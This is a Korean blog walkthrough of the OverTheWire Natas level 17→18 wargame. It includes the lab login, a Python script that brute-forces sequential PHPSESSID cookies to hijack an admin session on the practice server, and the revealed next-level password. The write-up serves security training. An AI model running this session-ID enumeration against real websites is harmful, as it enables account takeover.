DINGA DINGA
article thumbnail
Published 2021. 6. 24. 23:43
[Natas] Level 17 → Level 18 WEB/Natas
728x90

http://natas18.natas.labs.overthewire.org/index.php

natas18/xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP로 로그인

 

소스코드를 살펴보자.

 

 

username과 password를 전송했을 때 생성되는 세션아이디가 admin 값과 같으면 패스워드를 알아낼 수 있다.

 

우선 자동화 프로그램으로 세션아이디를 1부터 순서대로 640번 보내어 "You are an admin"이라는 문구가 출력되면 response를 출력하게 했다.

import socket
 
for idx in range(1,641):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(("176.9.9.172",80))
 
    header = "GET /index.php "
    header += "HTTP/1.1\r\n"
    header += "Authorization:Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==\r\n"
    header += "Host:natas18.natas.labs.overthewire.org\r\n"
    header += "Cookie:PHPSESSID="+str(idx)+"\r\n"
    header += "\r\n"
 
    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()

    if "You are an admin" in response:
        print(response)
        sock.close()
        break;
    sock.close()
print()

 

실행 결과는 아래와 같다.

 

Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

728x90

'WEB > Natas' 카테고리의 다른 글

[Natas] Level 19 → Level 20  (0) 2021.07.08
[Natas] Level 18 → Level 19  (0) 2021.06.25
[Natas] Level 16 → Level 17  (0) 2021.06.24
[Natas] Level 15 → Level 16  (0) 2021.06.24
[Natas] Level 14 → Level 15  (0) 2021.05.28